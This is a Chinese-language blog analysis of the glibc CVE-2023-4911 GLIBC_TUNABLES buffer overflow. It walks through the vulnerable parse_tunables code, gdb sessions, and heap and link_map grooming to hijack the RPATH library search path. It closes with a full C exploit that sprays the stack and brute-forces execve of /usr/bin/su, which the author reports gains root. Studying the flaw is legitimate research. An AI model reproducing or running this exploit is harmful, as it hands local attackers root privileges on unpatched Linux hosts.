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CVE-2023-4911 libc提权漏洞分析

最近libc爆了一个洞：CVE-2023-4911，感觉挺牛逼的，就来分析一波该漏洞，看看利用难度和危害如何。

信息收集

网上能搜到的信息有以下这些：

  • 漏洞详情[1]
  • 在环境glibc 2.35-0ubuntu3 (aarch64) 和 glibc 2.36-9+deb12u2 (amd64)下测试通过的exp[2]

漏洞点

首先我们先通过详情来看看漏洞点，根据漏洞详情中的介绍，该漏洞位于glibc的elf/dl-tunables.c文件中的parse_tunables函数：

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static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
	len++;

      /* If we reach the end of the string before getting a valid name-value
	 pair, bail out.  */
      if (p[len] == '\0')
	{
	  if (__libc_enable_secure)
	    tunestr[off] = '\0';
	  return;
	}

      /* We did not find a valid name-value pair before encountering the
	 colon.  */
      if (p[len]== ':')
	{
	  p += len + 1;
	  continue;
	}

      p += len + 1;

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
	len++;

      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
	{
	  tunable_t *cur = &tunable_list[i];

	  if (tunable_is_name (cur->name, name))
	    {
	      /* If we are in a secure context (AT_SECURE) then ignore the
		 tunable unless it is explicitly marked as secure.  Tunable
		 values take precedence over their envvar aliases.  We write
		 the tunables that are not SXID_ERASE back to TUNESTR, thus
		 dropping all SXID_ERASE tunables and any invalid or
		 unrecognized tunables.  */
	      if (__libc_enable_secure)
		{
		  if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
		    {
		      if (off > 0)
			tunestr[off++] = ':';

		      const char *n = cur->name;

		      while (*n != '\0')
			tunestr[off++] = *n++;

		      tunestr[off++] = '=';

		      for (size_t j = 0; j < len; j++)
			tunestr[off++] = value[j];
		    }

		  if (cur->security_level != TUNABLE_SECLEVEL_NONE)
		    break;
		}

	      value[len] = '\0';
	      tunable_initialize (cur, value);
	      break;
	    }
	}

      if (p[len] != '\0')
	p += len + 1;
    }
}

调用该函数的代码位于该文件的__tunables_init函数中：

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void
__tunables_init (char **envp)
{
  char *envname = NULL;
  char *envval = NULL;
  size_t len = 0;
  char **prev_envp = envp;

  maybe_enable_malloc_check ();

  while ((envp = get_next_env (envp, &envname, &len, &envval,
			       &prev_envp)) != NULL)
    {
#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring
      if (tunable_is_name (GLIBC_TUNABLES, envname))
	{
	  char *new_env = tunables_strdup (envname);
	  if (new_env != NULL)
	    parse_tunables (new_env + len + 1, envval);
	  /* Put in the updated envval.  */
	  *prev_envp = new_env;
	  continue;
	}
#endif
......
}

相关代码不是很长，大家自己慢慢读读就能理解了，实在不行就调试一下，我这里就总结一下该漏洞触发的流程。

  1. 匹配环境变量GLIBC_TUNABLES
  2. 该环境变量的值使用tunables_strdup函数，类似strdup函数，就是把字符串放到堆上，但是因为这个时候libc还没有初始化完成，所以使用的是__minimal_malloc。
  3. 接着调用parse_tunables函数来处理GLIBC_TUNABLES环境变量的值。
  4. libc有一个表：tunable_list，可以通过gdb来输出一下这个表的信息。
  5. 当__libc_enable_secure启用的使用，并且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE的时候，会对环境变量进行一些处理，而这个处理就导致了缓冲区溢出。

为啥会溢出？请仔细阅读parse_tunables函数代码，这里不细说。不过下面给个示例来演示一下溢出的过程，这里有一个要注意的地方，gdb没办法直接调试suid的程序，需要一些小技巧。

写一个中间程序：

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// a.c
#include <unistd.h>
int main(int argc, char *argv[])
{
  char *cmd[] = {"/usr/bin/su", "--help"};
  char *envp[] = {"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"};
	execve(cmd[0], cmd, envp);
	return 0;
}
// gcc a.c -o a

在编写一个.gdbinit：

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$ cat .gdbinit
start
set follow-exec-mode new
dir /usr/src/glibc/glibc-2.35/elf/
b __GI___tunables_init
c

接着就能开始gdb调试了：

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$ gdb a
 ► 0x7f43e9d6c560 <__GI___tunables_init>       endbr64
# 接着找到tunables_strdup函数中__minimal_malloc的位置，找到申请的内存地址
pwndbg> b *(__GI___tunables_init+511)
pwndbg> c
 ► 0x7f43e9d6c75f <__GI___tunables_init+511>    call   __minimal_malloc                <__minimal_malloc>
        rdi: 0x3a
pwndbg> ni
*RAX  0x7f43e9d902e0 ◂— 0x0
# 然后断点下到parse_tunables
pwndbg> b parse_tunables
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0:	"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"
0x7f43e9d90319:	""
0x7f43e9d9031a:	""
0x7f43e9d9031b:	""
# 确认一下__libc_enable_secure = 1
pwndbg> p __libc_enable_secure
$1 = 1
# 接着找到parse_tunables结束的代码
pwndbg> b *(__GI___tunables_init+729)
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0:	"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A:glibc.malloc.mxfast=A:glibc.malloc.mxfast=u:glibc.malloc.mxfast=" # 缓冲区溢出
0x7f43e9d9035a:	""
0x7f43e9d9035b:	""
0x7f43e9d9035c:	""

利用条件

先来说说该漏洞利用的一些前置条件，通过parse_tunables函数的代码，可以发现，只有当__libc_enable_secure == 1的情况下，才会进入有漏洞的分支，那么什么情况下__libc_enable_secure=1呢？

翻了翻libc的代码，发现：

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void
__libc_init_secure (void)
{
  if (__libc_enable_secure_decided == 0)
    __libc_enable_secure = (startup_geteuid () != startup_getuid ()
			    || startup_getegid () != startup_getgid ());
}

也就是说，只有当运行suid/sgid程序时，__libc_enable_secure才会等于1，如下所示：

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$ id
uid=1000(ubuntu) gid=1000(ubuntu)
$ ls -alF /usr/bin/su
-rwsr-xr-x 1 root root 55672 Feb 21  2022 /usr/bin/su*
# su程序的__libc_enable_secure=1
$ ls -alF test1
-rwsrwsr-x 1 www-data www-data 17224 Oct 13 22:06 test1*
# 运行test1程序，__libc_enable_secure也等于1
$ ls -alF test2
-rwsrwsr-x 1 ubuntu ubuntu 17224 Oct 13 22:06 test2*
# 运行test2程序，__libc_enable_secure等于0

也就是说，该漏洞的作用其实是用来越权，但是从一个受限用户越权到另一个受限用户，并没有什么用，还不如干脆从普通用户越权到root用户，达到提权的效果。所以该漏洞的最后利用思路就是用来提权，本质上就是去溢出(PWN) 一个有root权限的程序，所以和内核提权的漏洞还是有一定区别的。

再加上，该漏洞的输入点位于环境变量，所以该漏洞也就只能用来提权了。

漏洞利用

首先，我想说一下该部分的内容，在我完全理解漏洞发现者的利用思路后，我发现glibc的代码量还是非常大的，我目前也做不到对glibc的每个细节都了如指掌，所以暂时也没想到比该利用思路更完美的方法，下面内容只是分享一下我对该利用思路的研究过程和理解。

  1. 首先，简单的浏览了一下这个exp，发现下面的代码：
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with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
    fh.write(libc_e.d[0:__libc_start_main])
    fh.write(shellcode)
    fh.write(libc_e.d[__libc_start_main + len(shellcode) :])

然后就猜测了一下，因为漏洞是发生在ld加载程序中，所以可能替换掉libc的加载路径，就能加载进自己修改过的恶意libc，而libc加载程序的起始函数是__libc_start_main函数，所以把这部分的代码替换成自己要执行的shellcode，那么运行该程序就会首先执行我们的恶意shellcode。

接下来就是开始研究该漏洞是如何替换掉libc的加载路径的。

  1. 在相应的环境上运行了一下，ASLR开启的情况下，exp不是一次就能成功的，ASLR关闭的情况下没利用成功，暂且不管。

  2. 再看了看利用代码，发现只有一个stack_top是地址，表示栈顶地址，而且经过计算后，最后的exp中，该地址是一个定值，不会发现变化，我对这种利用方式非常好奇，觉得这有点牛逼啊，只要覆盖一个栈地址，就能替换调用libc加载路径，这可太神奇了。

  3. 我花了点时间去一步步调试，最后理解清楚该利用思路了，为了节省大家时间，这里用一个demo，然后缩减exp的内容，来帮助大家利用该利用思路。

首先写一个测试程序：

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// test.c
#include <stdio.h>

unsigned long ptr = -0x18ULL;

int main(int argc, char *argv[])
{
	printf("Hello World.");
	return 0;
}
// gcc test.c -g -no-pie -o test
// ls -alF test
// -rwsrwsr-x 1 root root 17224 Oct 13 22:06 test*

我们设置的第一个环境变量为：

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char fill[0xd00];
strcpy(fill, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(fill1); i < (0xd00 - 1); i++)
{
		fill[i] = 'A';
}
fill[0xd00 - 1] = '\0';

这部分将会调用__minimal_malloc(0xd00 + 1)，这个时候的内存信息如下：

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RAX  0x7f4109f8f2e0 ◂— 0x0     # malloc的返回值
pwndbg> vmmap
0x7f4109f8c000     0x7f4109f90000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'

也就是说，这部分内存区域只剩下0x1f字节了，如果后续还要调用malloc，那么则会通过mmap申请一段新内存区域。

第一部分不会触发溢出漏洞（如果触发了就超出地址范围了）。

设置的第二部分环境变量为：

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#define PAYLOAD_SIZE 0x100
char payload[PAYLOAD_SIZE];

strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(payload); i < PAYLOAD_SIZE - 1; i++)
{
	payload[i] = 'B';
}
	payload[PAYLOAD_SIZE - 1] = '\0';

第二部分将会调用__minimal_malloc(0x100 + 1)，这个时候的内存信息如下：

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*RAX  0x7f4109f52000 ◂— 0x0     # malloc的返回值
pwndbg> vmmap
  0x7f4109f52000     0x7f4109f54000 rw-p     2000 0      [anon_7f4109f52]
> hex(0x7f4109f52000 + 0x100)
'0x7f4109f52100'

如果我们构造的代码到此为止，那么下一次ld获取内存是位于_dl_new_object函数中，调用__minimal_calloc函数，调试情况如下所示：

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pwndbg> b *(_dl_new_object+109)
pwndbg> c
   0x7f4908e899fd <_dl_new_object+109>     call   qword ptr [rip + 0x2c06d]     <__minimal_calloc>
pwndbg> ni
*RAX  0x7f4908e74c40 ◂— 0x0

调用_dl_new_object是为了给struct link_map结构体申请内存，所以可以查看一下该结构：

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pwndbg> b *(_dl_new_object+115)
pwndbg> c
   0x7ffaa8c249fd <_dl_new_object+109>:	call   QWORD PTR [rip+0x2c06d]        # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc
=> 0x7ffaa8c24a03 <_dl_new_object+115>:	mov    r14,rax
pwndbg> p *((struct link_map *) $rax)
$1 = {
  l_addr = 4774451407232463713,
  l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
  l_ld = 0x4242424242424242,
  l_next = 0x4242424242424242,
  l_prev = 0x4242424242424242,
  l_real = 0x4242424242424242,
  l_ns = 4774451407313060418,
  l_libname = 0x4242424242424242,
  l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},

这个发现，我们可以成功覆盖struct link_map结构体，所以可以有个思路就是，通过覆盖该结构体的某个指针来达到命令执行的目的，而这需要都glibc的代码非常熟悉，加上调试测试，才可能找到一个利用链。

而漏洞发现者找到的利用链，利用到了link_map->l_info[DT_RPATH]成员变量，相关代码位于elf/dl-load.c文件的_dl_init_paths函数：

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void
_dl_init_paths (const char *llp, const char *source,
		const char *glibc_hwcaps_prepend,
		const char *glibc_hwcaps_mask)
{
......
      if (l->l_info[DT_RPATH])
	{
	  /* Allocate room for the search path and fill in information
	     from RPATH.  */
	  decompose_rpath (&l->l_rpath_dirs,
			   (const void *) (D_PTR (l, l_info[DT_STRTAB])
					   + l->l_info[DT_RPATH]->d_un.d_val),
			   l, "RPATH");
	  /* During rtld init the memory is allocated by the stub
	     malloc, prevent any attempt to free it by the normal
	     malloc.  */
	  l->l_rpath_dirs.malloced = 0;
	}
      else
	l->l_rpath_dirs.dirs = (void *) -1;
    }
......

关于DT_RPATH的用法，可以Google搜索一下：

libcrce1

简单来说，DT_RPATH的值是一个偏移值，如果设置了该值，那么就会在执行的程序的DT_STRTAB表中搜索字符串作为libc的搜索路径。

这么来说，我们的利用利用链产生了，我们通过内存溢出，设置link_map->l_info[DT_RPATH]，从而控制libc库加载的搜索路径，加载恶意的libc.so来达到命令执行目的。

我们来简单测试一下：

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pwndbg> x/10gx 0x404028
0x404028:	0x0000000000000000	0xffffffffffffffe8     # 这个就是我们test.c代码中设置的unsigned long ptr = -0x18ULL;
0x404038 <completed.0>:	0x0000000000000000	0x0000000000000000
0x404048:	0x0000000000000000	0x0000000000000000
0x404058:	0x0000000000000000	0x0000000000000000
pwndbg> b *(_dl_init_paths+669)
pwndbg> c
 ► 0x7f8596e999ad <_dl_init_paths+669>    mov    rax, qword ptr [rbx + 0xb8]   // l->l_info[DT_RPATH] = [rbx + 0xb8]
   0x7f8596e999b4 <_dl_init_paths+676>    mov    qword ptr [rbx + 0x3c0], -1
   0x7f8596e999bf <_dl_init_paths+687>    test   rax, rax
   0x7f8596e999c2 <_dl_init_paths+690>    je     _dl_init_paths+949                <_dl_init_paths+949>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
   804   else
   805     {
   806       l->l_runpath_dirs.dirs = (void *) -1;
   807
 ► 808       if (l->l_info[DT_RPATH])
   809 	{
   810 	  /* Allocate room for the search path and fill in information
   811 	     from RPATH.  */
   812 	  decompose_rpath (&l->l_rpath_dirs,
   813 			   (const void *) (D_PTR (l, l_info[DT_STRTAB])
pwndbg> x/gx $rbx + 0xb8
0x7fb757376398:	0x0000000000000000
pwndbg> set *0x7fb757376398=0x404028
pwndbg> p ((struct link_map *) $rbx)->l_info[15]
$4 = (Elf64_Dyn *) 0x404028
pwndbg> b *(_dl_init_paths+718)
pwndbg> c
 ► 0x7fb7573439de <_dl_init_paths+718>    add    rsi, qword ptr [rax + 8]      <ptr>
   0x7fb7573439e2 <_dl_init_paths+722>    lea    rdi, [rbx + 0x330]
   0x7fb7573439e9 <_dl_init_paths+729>    lea    rcx, [rip + 0x253c8]
   0x7fb7573439f0 <_dl_init_paths+736>    add    rsi, rdx
   0x7fb7573439f3 <_dl_init_paths+739>    mov    rdx, rbx
   0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
   809 	{
   810 	  /* Allocate room for the search path and fill in information
   811 	     from RPATH.  */
   812 	  decompose_rpath (&l->l_rpath_dirs,
   813 			   (const void *) (D_PTR (l, l_info[DT_STRTAB])
 ► 814 					   + l->l_info[DT_RPATH]->d_un.d_val),
   815 			   l, "RPATH");
   
pwndbg> b *(_dl_init_paths+742)
pwndbg> c
 ► 0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>
        rdi: 0x7fb757376610 ◂— 0x0
        rsi: 0x400418 ◂— 0x200000003b /* ';' */
        rdx: 0x7fb7573762e0 ◂— 0x0
        rcx: 0x7fb757368db8 ◂— 0x3b3a004854415052 /* 'RPATH' */

路径就是decompose_rpath的第二个参数，是一个0x400418指针，指向”;”字符串，那么该值是如何算出来的？STRTAB地址为0x400430，我们设置的l->l_info[DT_RPATH]->d_un.d_val = -0x18，两者相加，就等于0x400418。接着继续调试：

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# 执行完decompose_rpath后，查看link_map结构体
pwndbg> p **(((struct link_map *) $rbx)->l_rpath_dirs->dirs)
$7 = {
  next = 0x7f33ac209000,
  what = 0x7f33ac238db8 "RPATH",
  where = 0x7f33ac2091bb "",
  dirname = 0x7f33ac2091b8 ";/",     # 成设置了libc搜索路径
  dirnamelen = 2,
  status = 0x7f33ac209198
}
pwndbg> b open_verify
Breakpoint 4 at 0x7f33ac211940 (2 locations)
pwndbg> c
*RDI  0x7fff0b17b0a0 ◂— ';/tls/x86_64/x86_64/libc.so.6'
# 这里可以一直按c，查看rdi寄存器，最简单的路径如下
*RDI  0x7fff0b17b0a0 ◂— ';/libc.so.6'
# 接着就可以关闭断点，继续执行了，就可以得到shell了，如果执行失败了，那是因为你可能没创建';/libc.so.6'文件
pwndbg> c
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

由于是使用gdb进行调试，所以没能获得root权限，但是无所谓，流程我们走通了，就可以下一步了。

我们该如何覆盖到link_map->l_info[DT_RPATH]结构，我们已知，在执行完__tunables_init函数后，下一次申请内存地址就是在_dl_new_object函数，也就是说，我们要覆盖的地址和我们溢出的内存是相邻的。

也就是要溢出覆盖到之后0xb8地址 ，并且其他位建议覆盖成\\0，防止其他检查导致报错。

我研究出一种简单的方法：

  1. 我们断点下在_dl_new_object函数的calloc处，也就是_dl_new_object+109，方便调试，查看内存布局
  2. 在exp.c中，envp[0] = fill1;用来填充旧的内存区域，envp[1] = payload;用来进行内存溢出。

因此之后要留有一部分区域置0，直到设置到\xb8:

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for (int i=2;i<ENVP_SIZE-1;i++)
  envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";
# payload的长度随便设置，暂时挑了个0x100

接着调试，看看我们这样的布局能溢出成怎样的内存布局：

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pwndbg> b *(_dl_new_object+109)
pwndbg> c
pwndbg> vmmap
    0x7fca03d3c000     0x7fca03d3e000 rw-p     2000 0      [anon_7fca03d3c]
pwndbg> x/64gx 0x7fca03d3c000 + 0x100
......
0x7fca03d3c1f0:	0x000000000000003d	0x0000000000000000
0x7fca03d3c200:	0x0000000000000000	0x0000000000000000
0x7fca03d3c210:	0x0000000000000000	0x0000000000000000
0x7fca03d3c220:	0x0000000000000000	0x0000000000000000
0x7fca03d3c230:	0x0000000000000000	0x0000000000000000
0x7fca03d3c240:	0x0000000000000000	0x0000000000000000
0x7fca03d3c250:	0x0000000000000000	0x0000000000000000
0x7fca03d3c260:	0x0000000000000000	0x0000000000000000
0x7fca03d3c270:	0x0000000000000000	0x0000000000000000
0x7fca03d3c280:	0x0000000000000000	0x0000000000000000
0x7fca03d3c290:	0x0000000000000000	0x0000000000000000
0x7fca03d3c2a0:	0x0000000000000000	0x0000000000000000
0x7fca03d3c2b0:	0x0000404028000000	0x2e6362696c673a00
0x7fca03d3c2c0:	0x6d2e636f6c6c616d	0x00003d7473616678
0x7fca03d3c2d0:	0x0000000000000000	0x0000000000000000
0x7fca03d3c2e0:	0x0000000000000000	0x0000000000000000
0x7fca03d3c2f0:	0x0000000000000000	0x0000000000000000

我们覆盖的值为0x404028，从上面可以看出该值的地址为: 0x7fca03d3c2b3，计算一下：

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>>> hex(0x7fca03d3c2b3 - 0x7fca03d3c1f8)
'0xbb'
# 发现大于0xb8

从这可以得知link_map结构体的前部分结构应该没啥问题，但是问题在于后部：

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pwndbg> x/6gx 0x7fca03d3c2b3
0x7fca03d3c2b3:	0x673a000000404028	0x6c616d2e6362696c
0x7fca03d3c2c3:	0x6166786d2e636f6c	0x00000000003d7473
0x7fca03d3c2d3:	0x0000000000000000	0x0000000000000000
pwndbg> x/5s 0x7fca03d3c2b3
0x7fca03d3c2b3:	"(@@"
0x7fca03d3c2b7:	""
0x7fca03d3c2b8:	""
0x7fca03d3c2b9:	":glibc.malloc.mxfast="
0x7fca03d3c2cf:	""

受漏洞点的限制，溢出的结尾必定有:xxxxx=字符，我们要做的就是让该字符，离link_map结构远一点，或者该部分区域会在ld中进行设置。

想要精细的调整，需要去研究哪些结构可以不置0，但是我觉得没必要这么精细，只需要调整payload的长度，和envp[0x20 + 0xb8]前部分这个偏移值，让:xxxxx=字符串不影响到我们覆盖的地址就行。先这么用着，如果遇到报错，则继续调整，这样我们就没必要继续阅读libc源码了。

当我把payload的大小调整为0x200时，这个时候的内存布局如下：

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pwndbg> vmmap
    0x7f94440ce000     0x7f94440d0000 rw-p     2000 0      [anon_7f94440ce]
pwndbg> x/2gx 0x7f94440ce000 + 0x200
0x7f94440ce200:	0x616d2e6362696c67	0x66786d2e636f6c6c
pwndbg> x/8gx 0x7f94440ce4b3
0x7f94440ce4b3:	0x0000000000404028	0x0000000000000000
0x7f94440ce4c3:	0x0000000000000000	0x0000000000000000
0x7f94440ce4d3:	0x0000000000000000	0x0000000000000000
0x7f94440ce4e3:	0x0000000000000000	0x0000000000000000
pwndbg> x/32gx 0x7f94440ce4b3 - 0xb8
0x7f94440ce3fb:	0x0000000000000000	0x0000000000000000
0x7f94440ce40b:	0x0000000000000000	0x0000000000000000
0x7f94440ce41b:	0x0000000000000000	0x0000000000000000
0x7f94440ce42b:	0x0000000000000000	0x0000000000000000
0x7f94440ce43b:	0x0000000000000000	0x0000000000000000
0x7f94440ce44b:	0x0000000000000000	0x0000000000000000
0x7f94440ce45b:	0x0000000000000000	0x0000000000000000
0x7f94440ce46b:	0x0000000000000000	0x0000000000000000
0x7f94440ce47b:	0x0000000000000000	0x0000000000000000
0x7f94440ce48b:	0x0000000000000000	0x0000000000000000
0x7f94440ce49b:	0x0000000000000000	0x0000000000000000
0x7f94440ce4ab:	0x0000000000000000	0x0000000000404028

看着我们构造的link_map结构是没问题了，但是怎么让link_map申请的内存段为我们设置好的这段呢？我们先算一下，我们需要让link_map = 0x7f94440ce3fb，那么：

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>>> hex(0x7f94440ce3fb - 0x7f94440ce200)
'0x1fb'

中间这0x1fb字节需要被填充。另外需要考虑对齐的问题，堆分配到的地址不可能结尾地址为0xfb，所以还需要微调一下：envp[0x25 + 0xb8] = "\x28\x40\x40";

再看一下内存结构：

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pwndbg> vmmap
    0x7f52386a6000     0x7f52386a8000 rw-p     2000 0      [anon_7f52386a6]
pwndbg> x/2gx 0x7f52386a6000 + 0x200
0x7f52386a6000:	0x616d2e6362696c67	0x66786d2e636f6c6c
pwndbg> x/2gx 0x7f52386a64b8
0x7f52386a64b8:	0x0000000000404028	0x0000000000000000
pwndbg> x/32gx 0x7f52386a64b8 - 0xb8
0x7f52386a6400:	0x0000000000000000	0x0000000000000000
0x7f52386a6410:	0x0000000000000000	0x0000000000000000
0x7f52386a6420:	0x0000000000000000	0x0000000000000000
0x7f52386a6430:	0x0000000000000000	0x0000000000000000
0x7f52386a6440:	0x0000000000000000	0x0000000000000000
0x7f52386a6450:	0x0000000000000000	0x0000000000000000
0x7f52386a6460:	0x0000000000000000	0x0000000000000000
0x7f52386a6470:	0x0000000000000000	0x0000000000000000
0x7f52386a6480:	0x0000000000000000	0x0000000000000000
0x7f52386a6490:	0x0000000000000000	0x0000000000000000
0x7f52386a64a0:	0x0000000000000000	0x0000000000000000
0x7f52386a64b0:	0x0000000000000000	0x0000000000404028
0x7f52386a64c0:	0x0000000000000000	0x0000000000000000
0x7f52386a64d0:	0x0000000000000000	0x0000000000000000
0x7f52386a64e0:	0x0000000000000000	0x0000000000000000
0x7f52386a64f0:	0x0000000000000000	0x0000000000000000
>>> hex(0x7f52386a6400 - 0x7f52386a6200 - 0x10)
'0x1F0'
# 减去0x10是因为payload长度为0x200，实际malloc申请的是0x201，再加上偏移，所以下一个堆其实地址应该是+0x210

这样，我们就需要在前面填充0x1F0字节了，那怎么填充呢？可以利用开头填充上一块堆的思路。

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#define PADDING_SIZE 0x1F0
char padding[PADDING_SIZE-3];
strcpy(padding, "GLIBC_TUNABLES=");
for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
{
		padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';
envp[ENVP_SIZE-2] = padding;

调试看看：

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pwndbg> b *(_dl_new_object+115)
pwndbg> c
pwndbg> p ((struct link_map *) $rax)->l_info[15]
$2 = (Elf64_Dyn *) 0x404028

内存布局没问题，这个时候就删除断点直接运行试试。发现成功执行命令，接着就是退出gdb，直接执行我们的exp程序，成功获取到root权限。

结合实际

前面的内容帮我们把利用思路都给梳理好了，但是和实际还是有差距的，因为在实际环境中，不存在一个test程序， 这个我们测试用的test程序是没有开PIE的，所以我们写入0x404028地址，可以稳定触发。

在ubuntu实际的程序中，我找了找，所有suid的程序都开启了PIE，也就是说，我们没有一个已知地址。我又看了看内存布局，在执行ld代码的时候，内存布局大致如下：

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pwndbg> vmmap
    0x55985479c000     0x55985479e000 r--p     2000 0      /usr/sbin/unix_chkpwd
    0x55985479e000     0x5598547a1000 r-xp     3000 2000   /usr/sbin/unix_chkpwd
    0x5598547a1000     0x5598547a2000 r--p     1000 5000   /usr/sbin/unix_chkpwd
    0x5598547a2000     0x5598547a4000 rw-p     2000 5000   /usr/sbin/unix_chkpwd
    0x7faf282aa000     0x7faf282ac000 r--p     2000 0      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282ac000     0x7faf282d6000 r-xp    2a000 2000   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282d6000     0x7faf282e1000 r--p     b000 2c000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282e2000     0x7faf282e6000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffd042d5000     0x7ffd042f6000 rw-p    21000 0      [stack]
    0x7ffd0439e000     0x7ffd043a2000 r--p     4000 0      [vvar]
    0x7ffd043a2000     0x7ffd043a4000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]

我们只能确定vsyscall地址，但是很抱歉，该地址没有可读权限，所以没办法利用。在没有已知地址的情况下，这个时候能想到的只有内存Spray了，比较合适的是Stack Spray。

所以考虑通过环境变量来在栈上填充-0x14UL，代码如下：

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#define STACK_SIZE 0x20000
char stack_spray[STACK_SIZE];
for (int i = 0; i < STACK_SIZE; i += 8)
{
	*(uintptr_t *)(stack_spray + i) = -0x14ULL;
}
stack_spray[STACK_SIZE - 1] = '\0';

for (int i = 0; i < 0x2F; i++)
{
	envp[0x180 + i] = stack_spray;
}

一般情况下可能会报错：execve("/usr/bin/su", ["/usr/bin/su", "--help"], 0x7fff64f33a50 /* 499 vars */) = -1 E2BIG (Argument list too long)

可以在execve前调用一下下面代码，可以让缓冲区扩大到：0x20000 * 0x2F:

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struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
 if (setrlimit(RLIMIT_STACK, &rlim) < 0)
 {
   perror("setrlimit");
 }

剩下的就是定一个栈地址，接着就是听天由命的爆破了。

相关代码

最后贴一下简化版的相关代码：

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#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/resource.h>
#include <stdio.h>
#include <time.h>
#include <sys/wait.h>


#define ENVP_SIZE 600
#define PADDING_SIZE 0x1F0
#define STACK_SIZE 0x20000

int64_t time_us()
{
    struct timespec tms;

    /* POSIX.1-2008 way */
    if (clock_gettime(CLOCK_REALTIME, &tms))
    {
        return -1;
    }
    /* seconds, multiplied with 1 million */
    int64_t micros = tms.tv_sec * 1000000;
    /* Add full microseconds */
    micros += tms.tv_nsec / 1000;
    /* round up if necessary */
    if (tms.tv_nsec % 1000 >= 500)
    {
        ++micros;
    }
    return micros;
}

int main(int argc, char *argv[])
{
//	char *nargv[] = {"/home/hehe/Documents/libc-exp/test",  NULL};
        char *nargv[] = {"/usr/bin/su", "--help", 0};
        char *envp[ENVP_SIZE] = {0, };
	char fill1[0xd00];
	char payload[0x200];
	char padding[PADDING_SIZE-3];
	char stack_spray[STACK_SIZE];

	strcpy(fill1, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
	for (int i = strlen(fill1); i < sizeof(fill1) - 1; i++)
    	{
        	fill1[i] = 'A';
    	}
    	fill1[sizeof(fill1) - 1] = '\0';

	strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
        for (int i = strlen(payload); i < sizeof(payload) - 1; i++)
    	{
        	payload[i] = 'B';
    	}
    	payload[sizeof(payload) - 1] = '\0';

	strcpy(padding, "GLIBC_TUNABLES=");
	for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
	{
		padding[i] = 'D';
	}
	padding[PADDING_SIZE - 4] = '\0';

	for (int i = 0; i < STACK_SIZE; i += 8)
	{
		*(uintptr_t *)(stack_spray + i) = -0x14ULL;
	}
	stack_spray[STACK_SIZE - 1] = '\0';



        for (int i = 2; i < ENVP_SIZE-1; i++)
	{
		envp[i] = "";
	}
	envp[0] = fill1;
	envp[1] = payload;
        // envp[0] = "";
        // envp[1] = "";
	envp[0x25 + 0xb8] = "\x10\xF0\xFF\xFF\xFC\x7F";

	for (int i = 0; i < 0x2F; i++)
	{
		envp[0x200 + i] = stack_spray;
	}
        envp[0x1FE] = padding;
	envp[0x23F] = "AAAA";
	struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
    	if (setrlimit(RLIMIT_STACK, &rlim) < 0)
    	{
        	perror("setrlimit");
    	}

	int pid;
    for (int ct = 1;; ct++)
    {
        if (ct % 100 == 0)
        {
            printf("try %d\n", ct);
        }
        if ((pid = fork()) < 0)
        {
            perror("fork");
            break;
        }
        else if (pid == 0) // child
        {
            if (execve(nargv[0], nargv, envp) < 0)
            {
                perror("execve");
                break;
            }
        }
        else // parent
        {
            int wstatus;
            int64_t st, en;
            st = time_us();
            wait(&wstatus);
            en = time_us();
            if (!WIFSIGNALED(wstatus) && en - st > 1000000)
            {
                // probably returning from shell :)
                break;
            }
        }
    }

	// execve(nargv[0], nargv, envp);

	return 0;
}

测试情况如下：

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17
$ ./myexp
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
